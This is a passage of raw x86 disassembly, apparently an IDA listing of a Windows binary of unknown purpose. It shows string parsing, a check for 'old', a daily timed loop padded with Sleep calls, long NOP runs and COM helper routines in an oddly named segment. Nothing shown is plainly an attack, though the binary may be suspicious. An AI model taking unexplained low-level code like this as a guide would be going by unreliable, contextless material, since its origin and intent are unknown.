[ebp+var_10] add edx, 1 push edx lea eax, [ebp+var_8014] push eax lea ecx, [ebp+var_8034] push ecx lea ecx, [ebp+var_8020] call sub_421ACF mov [ebp+var_8068], eax mov edx, [ebp+var_8068] mov [ebp+var_806C], edx mov byte ptr [ebp+var_4], 5 mov ecx, [ebp+var_806C] call sub_4226A0 push eax lea eax, [ebp+var_8014] push eax call dword_4330CC ; lstrcpyA mov byte ptr [ebp+var_4], 0 lea ecx, [ebp+var_8034] call sub_4317A2 push 3Ah lea ecx, [ebp+var_4010] push ecx lea ecx, [ebp+var_8020] call sub_421A20 mov [ebp+var_8018], eax cmp [ebp+var_8018], 0FFFFFFFFh jz loc_4293CE mov edx, [ebp+var_8018] push edx push 0 lea eax, [ebp+var_4010] push eax lea ecx, [ebp+var_8038] push ecx lea ecx, [ebp+var_8020] call sub_421ACF mov [ebp+var_8070], eax mov edx, [ebp+var_8070] mov [ebp+var_8074], edx mov byte ptr [ebp+var_4], 6 mov ecx, [ebp+var_8074] call sub_4226A0 push eax lea eax, [ebp+var_2010] push eax call dword_4330CC ; lstrcpyA mov byte ptr [ebp+var_4], 0 lea ecx, [ebp+var_8038] call sub_4317A2 push 0 mov ecx, [ebp+var_8018] add ecx, 1 push ecx lea edx, [ebp+var_4010] push edx lea eax, [ebp+var_803C] push eax lea ecx, [ebp+var_8020] call sub_421ACF mov [ebp+var_8078], eax mov ecx, [ebp+var_8078] mov [ebp+var_807C], ecx mov byte ptr [ebp+var_4], 7 mov ecx, [ebp+var_807C] call sub_4226A0 push eax lea edx, [ebp+var_4010] push edx call dword_4330CC ; lstrcpyA mov byte ptr [ebp+var_4], 0 lea ecx, [ebp+var_803C] call sub_4317A2 jmp short loc_4293F8 ; --------------------------------------------------------------------------- loc_4293CE: ; CODE XREF: sub_429039+2CAj lea eax, [ebp+var_4010] push eax lea ecx, [ebp+var_2010] push ecx call dword_4330CC ; lstrcpyA push 2000h push 0 lea edx, [ebp+var_4010] push edx call sub_4318B2 ; memset add esp, 0Ch loc_4293F8: ; CODE XREF: sub_429039+393j push 3 push offset aOld ; "old" lea eax, [ebp+var_2010] push eax call dword_4331AC ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_429437 lea ecx, [ebp+var_4010] push ecx call sub_4221DB add esp, 4 test eax, eax jz short loc_429437 push 1 lea edx, [ebp+var_4010] push edx call sub_421C92 add esp, 8 loc_429437: ; CODE XREF: sub_429039+3D8j ; sub_429039+3EBj cmp [ebp+var_10], 0FFFFFFFFh jnz short loc_42943F jmp short loc_429444 ; --------------------------------------------------------------------------- loc_42943F: ; CODE XREF: sub_429039+402j jmp loc_4291E8 ; --------------------------------------------------------------------------- loc_429444: ; CODE XREF: sub_429039+14Cj ; sub_429039+1CAj ... mov ecx, [ebp+var_8044] add ecx, 10h call sub_428280 test eax, eax jnz short loc_42945D mov [ebp+var_801C], 0 loc_42945D: ; CODE XREF: sub_429039+41Bj mov al, [ebp+var_801C] mov [ebp+var_8040], al mov [ebp+var_4], 0FFFFFFFFh lea ecx, [ebp+var_4014] call sub_4317A2 mov al, [ebp+var_8040] mov ecx, [ebp+var_C] mov large fs:0, ecx mov esp, ebp pop ebp retn sub_429039 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42948F proc near ; CODE XREF: sub_429672+F0p var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_42948F mov eax, large fs:0 push eax mov large fs:0, esp push ecx sub esp, 30h push ebx push esi push edi mov [ebp+var_10], esp mov [ebp+var_28], ecx mov [ebp+var_4], 0 lea eax, [ebp+var_14] push eax call dword_4331A4 ; time add esp, 4 mov ecx, [ebp+var_28] add ecx, 2040h push ecx mov edx, esp mov [ebp+var_20], esp push ecx mov ecx, edx call sub_431796 mov [ebp+var_2C], eax mov ecx, [ebp+var_28] add ecx, 8 call sub_426022 push 22h call dword_4330E0 ; Sleep push 0 mov ecx, [ebp+var_28] add ecx, 8 call sub_425642 mov [ebp+var_30], eax mov eax, [ebp+var_28] mov ecx, [ebp+var_30] mov [eax], ecx mov [ebp+var_18], 2 push 24h call dword_4330E0 ; Sleep loc_42951C: ; CODE XREF: sub_42948F:loc_429639j mov edx, [ebp+var_28] xor eax, eax mov al, [edx+20h] test eax, eax jnz loc_42963E cmp [ebp+var_18], 2 jnz loc_42963E cmp [ebp+var_18], 0 jle short loc_429544 mov ecx, [ebp+var_28] call sub_429039 loc_429544: ; CODE XREF: sub_42948F+ABj ; sub_42948F+E1j cmp [ebp+var_18], 0 jle short loc_429555 push 859h call dword_4330E0 ; Sleep loc_429555: ; CODE XREF: sub_42948F+B9j cmp [ebp+var_18], 0FFFFFFFFh jle short loc_429568 lea ecx, [ebp+var_14] push ecx call dword_4331A4 ; time add esp, 4 loc_429568: ; CODE XREF: sub_42948F+CAj mov edx, [ebp+var_28] mov eax, [edx] cmp eax, [ebp+var_14] jg short loc_429544 push 0 call dword_4332B0 test eax, eax jge short loc_429585 xor al, al jmp loc_429661 ; --------------------------------------------------------------------------- loc_429585: ; CODE XREF: sub_42948F+EDj mov ecx, [ebp+var_28] call sub_42852F mov [ebp+var_34], eax mov ecx, [ebp+var_34] mov [ebp+var_1C], ecx push 26h call dword_4330E0 ; Sleep call dword_4332A4 push 24h call dword_4330E0 ; Sleep cmp [ebp+var_1C], 0 jle short loc_4295CC push 0 mov ecx, [ebp+var_28] add ecx, 8 call sub_425642 mov [ebp+var_38], eax mov edx, [ebp+var_28] mov eax, [ebp+var_38] mov [edx], eax jmp short loc_4295F7 ; --------------------------------------------------------------------------- loc_4295CC: ; CODE XREF: sub_42948F+121j push 20h call dword_4330E0 ; Sleep push 15182h mov ecx, [ebp+var_28] add ecx, 8 call sub_425642 mov [ebp+var_3C], eax mov ecx, [ebp+var_28] mov edx, [ebp+var_3C] mov [ecx], edx push 21h call dword_4330E0 ; Sleep loc_4295F7: ; CODE XREF: sub_42948F+13Bj lea eax, [ebp+var_14] push eax call dword_4331A4 ; time add esp, 4 mov ecx, [ebp+var_28] mov edx, [ecx] cmp edx, [ebp+var_14] jge short loc_429639 push 22h call dword_4330E0 ; Sleep push 15181h mov ecx, [ebp+var_28] add ecx, 8 call sub_425642 mov [ebp+var_40], eax mov eax, [ebp+var_28] mov ecx, [ebp+var_40] mov [eax], ecx push 23h call dword_4330E0 ; Sleep loc_429639: ; CODE XREF: sub_42948F+17Dj jmp loc_42951C ; --------------------------------------------------------------------------- loc_42963E: ; CODE XREF: sub_42948F+97j ; sub_42948F+A1j mov edx, [ebp+var_18] add edx, 1 mov [ebp+var_18], edx jmp short loc_429658 ; --------------------------------------------------------------------------- loc_429649: ; DATA XREF: TEUm:00435D54o mov [ebp+var_24], 0 mov eax, offset loc_429653 retn ; --------------------------------------------------------------------------- loc_429653: ; DATA XREF: sub_42948F+1BEo mov al, [ebp+var_24] jmp short loc_429661 ; --------------------------------------------------------------------------- loc_429658: ; CODE XREF: sub_42948F+1B8j mov [ebp+var_4], 0FFFFFFFFh mov al, 1 loc_429661: ; CODE XREF: sub_42948F+F1j ; sub_42948F+1C7j mov ecx, [ebp+var_C] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_42948F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429672 proc near ; CODE XREF: TEUm:00431A49p arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop mov eax, [ebp+arg_8] push eax mov ecx, offset dword_43BD40 call sub_43179C push 1Eh call dword_4330E0 ; Sleep mov ecx, offset dword_439D00 call sub_42948F nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop xor eax, eax pop edi pop esi pop ebx pop ebp retn 10h sub_429672 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4297D0 proc near ; CODE XREF: sub_428520+8p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_4297D0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov [ebp+var_10], ecx mov [ebp+var_4], 2 mov ecx, [ebp+var_10] add ecx, 2040h call sub_4317A2 mov byte ptr [ebp+var_4], 1 mov ecx, [ebp+var_10] add ecx, 203Ch call sub_4317A2 mov byte ptr [ebp+var_4], 0 mov ecx, [ebp+var_10] add ecx, 8 call sub_422BB1 mov [ebp+var_4], 0FFFFFFFFh mov ecx, [ebp+var_10] add ecx, 4 call sub_4317A2 mov ecx, [ebp+var_C] mov large fs:0, ecx mov esp, ebp pop ebp retn sub_4297D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429850 proc near ; CODE XREF: sub_4284FF+8p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_429850 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov [ebp+var_10], ecx mov ecx, [ebp+var_10] add ecx, 4 call sub_4317AE mov [ebp+var_4], 0 mov ecx, [ebp+var_10] add ecx, 8 call sub_422A1E mov byte ptr [ebp+var_4], 1 mov ecx, [ebp+var_10] add ecx, 203Ch call sub_4317AE mov byte ptr [ebp+var_4], 2 mov ecx, [ebp+var_10] add ecx, 2040h call sub_4317AE mov [ebp+var_4], 0FFFFFFFFh mov eax, [ebp+var_10] mov ecx, [ebp+var_C] mov large fs:0, ecx mov esp, ebp pop ebp retn sub_429850 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4298D0 proc near ; CODE XREF: sub_42852F+39p ; sub_42852F+89Ep var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] mov dword ptr [eax], 0 mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_4298D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4298F0 proc near ; CODE XREF: sub_42852F+82Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] mov edx, [ecx] mov [eax], edx mov ecx, [ebp+var_4] call sub_429A00 mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 4 sub_4298F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429920 proc near ; CODE XREF: sub_42852F+6FDp var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_429920 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 10h mov [ebp+var_18], ecx mov ecx, [ebp+var_18] call sub_4241A6 push 0Ch call sub_431784 add esp, 4 mov [ebp+var_14], eax mov [ebp+var_4], 0 cmp [ebp+var_14], 0 jz short loc_429971 mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_14] call sub_4241E4 mov [ebp+var_1C], eax jmp short loc_429978 ; --------------------------------------------------------------------------- loc_429971: ; CODE XREF: sub_429920+3Ej mov [ebp+var_1C], 0 loc_429978: ; CODE XREF: sub_429920+4Fj mov ecx, [ebp+var_1C] mov [ebp+var_10], ecx mov [ebp+var_4], 0FFFFFFFFh mov edx, [ebp+var_18] mov eax, [ebp+var_10] mov [edx], eax mov eax, [ebp+var_18] mov ecx, [ebp+var_C] mov large fs:0, ecx mov esp, ebp pop ebp retn 4 sub_429920 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4299A0 proc near ; CODE XREF: sub_42852F+71Ap ; sub_42852F+A23p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 8 mov [ebp+var_4], ecx mov eax, [ebp+var_4] cmp dword ptr [eax], 0 jz short loc_4299C0 mov ecx, [ebp+var_4] mov ecx, [ecx] call sub_429A40 mov [ebp+var_8], eax jmp short loc_4299C7 ; --------------------------------------------------------------------------- loc_4299C0: ; CODE XREF: sub_4299A0+Fj mov [ebp+var_8], 0 loc_4299C7: ; CODE XREF: sub_4299A0+1Ej mov eax, [ebp+var_8] mov esp, ebp pop ebp retn sub_4299A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4299D0 proc near ; CODE XREF: sub_42852F+70Dp var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 8 mov [ebp+var_4], ecx mov eax, [ebp+var_4] cmp dword ptr [eax], 0 jz short loc_4299F0 mov ecx, [ebp+var_4] mov ecx, [ecx] call sub_429A50 mov [ebp+var_8], eax jmp short loc_4299F7 ; --------------------------------------------------------------------------- loc_4299F0: ; CODE XREF: sub_4299D0+Fj mov [ebp+var_8], 0 loc_4299F7: ; CODE XREF: sub_4299D0+1Ej mov eax, [ebp+var_8] mov esp, ebp pop ebp retn sub_4299D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429A00 proc near ; CODE XREF: sub_4298F0+14p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] cmp dword ptr [eax], 0 jz short loc_429A19 mov ecx, [ebp+var_4] mov ecx, [ecx] call sub_429A20 loc_429A19: ; CODE XREF: sub_429A00+Dj mov esp, ebp pop ebp retn sub_429A00 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429A20 proc near ; CODE XREF: sub_429A00+14p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] add eax, 8 push eax call dword_4330AC ; InterlockedIncrement mov ecx, [ebp+var_4] mov eax, [ecx+8] mov esp, ebp pop ebp retn sub_429A20 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429A40 proc near ; CODE XREF: sub_4299A0+16p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] mov eax, [eax] mov esp, ebp pop ebp retn sub_429A40 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429A50 proc near ; CODE XREF: sub_4299D0+16p var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 8 mov [ebp+var_4], ecx mov eax, [ebp+var_4] cmp dword ptr [eax], 0 jz short loc_429A72 mov ecx, [ebp+var_4] mov edx, [ecx] push edx call dword_433278 mov [ebp+var_8], eax jmp short loc_429A79 ; --------------------------------------------------------------------------- loc_429A72: ; CODE XREF: sub_429A50+Fj mov [ebp+var_8], 0 loc_429A79: ; CODE XREF: sub_429A50+20j mov eax, [ebp+var_8] mov esp, ebp pop ebp retn sub_429A50 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429A80 proc near ; CODE XREF: sub_42852F+814p ; sub_429AA0+3Cp var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] push eax call dword_433268 mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_429A80 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429AA0 proc near ; CODE XREF: sub_42852F+885p var_24 = dword ptr -24h var_20 = byte ptr -20h var_1C = byte ptr -1Ch var_14 = word ptr -14h var_C = dword ptr -0Ch var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_429AA0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h mov [ebp+var_24], ecx mov eax, [ebp+var_24] xor ecx, ecx mov cx, [eax] cmp ecx, 0Bh jnz short loc_429AD9 mov edx, [ebp+var_24] movsx eax, word ptr [edx+8] test eax, eax setnz al jmp short loc_429B14 ; --------------------------------------------------------------------------- loc_429AD9: ; CODE XREF: sub_429AA0+29j lea ecx, [ebp+var_1C] call sub_429A80 mov [ebp+var_4], 0 mov ecx, [ebp+var_24] push ecx push 0Bh lea ecx, [ebp+var_1C] call sub_429BE0 movsx edx, [ebp+var_14] test edx, edx setnz al mov [ebp+var_20], al mov [ebp+var_4], 0FFFFFFFFh lea ecx, [ebp+var_1C] call sub_429C40 mov al, [ebp+var_20] loc_429B14: ; CODE XREF: sub_429AA0+37j mov ecx, [ebp+var_C] mov large fs:0, ecx mov esp, ebp pop ebp retn sub_429AA0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429B30 proc near ; CODE XREF: sub_42852F+86Dp var_4 = dword ptr -4 arg_0 = word ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] xor ecx, ecx mov cx, [eax] cmp ecx, 2 jnz short loc_429B51 mov edx, [ebp+var_4] mov ax, [ebp+arg_0] mov [edx+8], ax jmp short loc_429B8A ; --------------------------------------------------------------------------- loc_429B51: ; CODE XREF: sub_429B30+12j mov ecx, [ebp+var_4] xor edx, edx mov dx, [ecx] cmp edx, 0Bh jnz short loc_429B6F movsx eax, [ebp+arg_0] neg eax sbb eax, eax mov ecx, [ebp+var_4] mov [ecx+8], ax jmp short loc_429B8A ; --------------------------------------------------------------------------- loc_429B6F: ; CODE XREF: sub_429B30+2Cj mov ecx, [ebp+var_4] call sub_429BA0 mov edx, [ebp+var_4] mov word ptr [edx], 2 mov eax, [ebp+var_4] mov cx, [ebp+arg_0] mov [eax+8], cx loc_429B8A: ; CODE XREF: sub_429B30+1Fj ; sub_429B30+3Dj mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 4 sub_429B30 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429BA0 proc near ; CODE XREF: sub_429B30+42p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] push eax call dword_433264 push eax call sub_429BC0 add esp, 4 mov esp, ebp pop ebp retn sub_429BA0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429BC0 proc near ; CODE XREF: sub_429BA0+12p ; sub_429BE0+46p ... arg_0 = dword ptr 8 push ebp mov ebp, esp cmp [ebp+arg_0], 0 jge short loc_429BD2 mov eax, [ebp+arg_0] push eax call sub_431AB2 loc_429BD2: ; CODE XREF: sub_429BC0+7j pop ebp retn sub_429BC0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429BE0 proc near ; CODE XREF: sub_429AA0+51p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx cmp [ebp+arg_4], 0 jnz short loc_429BF3 mov eax, [ebp+var_4] mov [ebp+arg_4], eax loc_429BF3: ; CODE XREF: sub_429BE0+Bj mov ecx, [ebp+var_4] cmp ecx, [ebp+arg_4] jnz short loc_429C10 mov edx, [ebp+arg_0] and edx, 0FFFFh mov eax, [ebp+var_4] xor ecx, ecx mov cx, [eax] cmp edx, ecx jz short loc_429C2E loc_429C10: ; CODE XREF: sub_429BE0+19j mov dx, word ptr [ebp+arg_0] push edx push 0 mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_4] push ecx call dword_433260 push eax call sub_429BC0 add esp, 4 loc_429C2E: ; CODE XREF: sub_429BE0+2Ej mov esp, ebp pop ebp retn 8 sub_429BE0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429C40 proc near ; CODE XREF: sub_42852F+A40p ; sub_42852F+AAFp ... var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] push eax call dword_433264 push eax call sub_429BC0 add esp, 4 mov esp, ebp pop ebp retn sub_429C40 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429C60 proc near ; CODE XREF: sub_42852F+7AAp ; sub_431CA4+11p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] mov [eax+4], ecx mov edx, [ebp+var_4] mov eax, [ebp+arg_4] mov [edx+8], eax mov ecx, [ebp+var_4] mov dword ptr [ecx+0Ch], 0 mov edx, [ebp+var_4] mov dword ptr [edx], offset off_434AE8 mov eax, [ebp+var_4] cmp dword ptr [eax+8], 0 jz short loc_429CB4 mov ecx, [ebp+arg_8] and ecx, 0FFh test ecx, ecx jz short loc_429CB4 mov edx, [ebp+var_4] mov eax, [edx+8] mov ecx, [ebp+var_4] mov edx, [ecx+8] mov ecx, [edx] push eax call dword ptr [ecx+4] loc_429CB4: ; CODE XREF: sub_429C60+33j ; sub_429C60+40j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 0Ch sub_429C60 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429CC0 proc near ; DATA XREF: TEUm:off_434AE8o var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov ecx, [ebp+var_4] call sub_429CF0 mov eax, [ebp+arg_0] and eax, 1 test eax, eax jz short loc_429CE5 mov ecx, [ebp+var_4] push ecx call sub_43177E add esp, 4 loc_429CE5: ; CODE XREF: sub_429CC0+17j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 4 sub_429CC0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429CF0 proc near ; CODE XREF: sub_42852F+7BFp ; sub_429CC0+Ap ; DATA XREF: ... var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] mov dword ptr [eax], offset off_434AE8 mov ecx, [ebp+var_4] cmp dword ptr [ecx+8], 0 jz short loc_429D1B mov edx, [ebp+var_4] mov eax, [edx+8] mov ecx, [ebp+var_4] mov edx, [ecx+8] mov ecx, [edx] push eax call dword ptr [ecx+8] loc_429D1B: ; CODE XREF: sub_429CF0+17j mov edx, [ebp+var_4] cmp dword ptr [edx+0Ch], 0 jz short loc_429D31 mov eax, [ebp+var_4] mov ecx, [eax+0Ch] push ecx call dword_4330A8 ; LocalFree loc_429D31: ; CODE XREF: sub_429CF0+32j mov esp, ebp pop ebp retn sub_429CF0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429D40 proc near ; CODE XREF: sub_42852F+8BBp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h mov [ebp+var_10], ecx mov [ebp+var_C], 0 lea eax, [ebp+var_8] push eax mov ecx, [ebp+var_10] mov edx, [ecx] mov eax, [ebp+var_10] push eax call dword ptr [edx+0B4h] mov [ebp+var_4], eax cmp [ebp+var_4], 0 jge short loc_429D7E push offset dword_4375F0 mov ecx, [ebp+var_10] push ecx mov edx, [ebp+var_4] push edx call sub_431AC0 loc_429D7E: ; CODE XREF: sub_429D40+2Aj push 0 mov eax, [ebp+var_8] push eax mov ecx, [ebp+arg_0] call sub_429F90 mov ecx, [ebp+var_C] or ecx, 1 mov [ebp+var_C], ecx mov eax, [ebp+arg_0] mov esp, ebp pop ebp retn 4 sub_429D40 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429DA0 proc near ; CODE XREF: sub_42852F+856p var_1C = dword ptr -1Ch var_18 = word ptr -18h var_14 = word ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_429DA0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 10h mov [ebp+var_1C], ecx mov [ebp+var_4], 0 lea eax, [ebp+var_14] push eax lea ecx, [ebp+arg_0] call sub_4299A0 push eax mov ecx, [ebp+var_1C] mov edx, [ecx] mov eax, [ebp+var_1C] push eax call dword ptr [edx+104h] mov [ebp+var_10], eax cmp [ebp+var_10], 0 jge short loc_429DFC push offset dword_4375F0 mov ecx, [ebp+var_1C] push ecx mov edx, [ebp+var_10] push edx call sub_431AC0 loc_429DFC: ; CODE XREF: sub_429DA0+48j mov ax, [ebp+var_14] mov [ebp+var_18], ax mov [ebp+var_4], 0FFFFFFFFh lea ecx, [ebp+arg_0] call sub_4241A6 mov ax, [ebp+var_18] mov ecx, [ebp+var_C] mov large fs:0, ecx mov esp, ebp pop ebp retn 4 sub_429DA0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429E30 proc near ; CODE XREF: sub_42852F+776p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] mov dword ptr [eax], 0 cmp [ebp+arg_0], 0 jz short loc_429E50 push 80004003h call sub_431AB2 loc_429E50: ; CODE XREF: sub_429E30+14j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 4 sub_429E30 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429E60 proc near ; CODE XREF: sub_42852F+7CEp ; sub_42852F+A4Fp ... var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov ecx, [ebp+var_4] call sub_429FF0 mov esp, ebp pop ebp retn sub_429E60 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429E80 proc near ; CODE XREF: sub_42852F+84Bp ; sub_42852F+8B4p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] cmp dword ptr [eax], 0 jnz short loc_429E99 push 80004003h call sub_431AB2 loc_429E99: ; CODE XREF: sub_429E80+Dj mov ecx, [ebp+var_4] mov eax, [ecx] mov esp, ebp pop ebp retn sub_429E80 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429EB0 proc near ; CODE XREF: sub_42852F+78Ep var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov [ebp+var_C], ecx mov ecx, [ebp+var_C] call sub_429FF0 mov eax, [ebp+arg_8] and eax, 14h test eax, eax jz short loc_429F2D lea ecx, [ebp+var_8] push ecx push offset dword_437600 mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call dword_4332AC mov [ebp+var_4], eax cmp [ebp+var_4], 0 jge short loc_429EF4 mov eax, [ebp+var_4] jmp short loc_429F4F ; --------------------------------------------------------------------------- loc_429EF4: ; CODE XREF: sub_429EB0+3Dj mov edx, [ebp+var_8] push edx call dword_4332A8 mov [ebp+var_4], eax cmp [ebp+var_4], 0 jl short loc_429F1F mov eax, [ebp+var_C] push eax call sub_429FE0 push eax mov ecx, [ebp+var_8] mov edx, [ecx] mov eax, [ebp+var_8] push eax call dword ptr [edx] mov [ebp+var_4], eax loc_429F1F: ; CODE XREF: sub_429EB0+55j mov ecx, [ebp+var_8] mov edx, [ecx] mov eax, [ebp+var_8] push eax call dword ptr [edx+8] jmp short loc_429F4C ; --------------------------------------------------------------------------- loc_429F2D: ; CODE 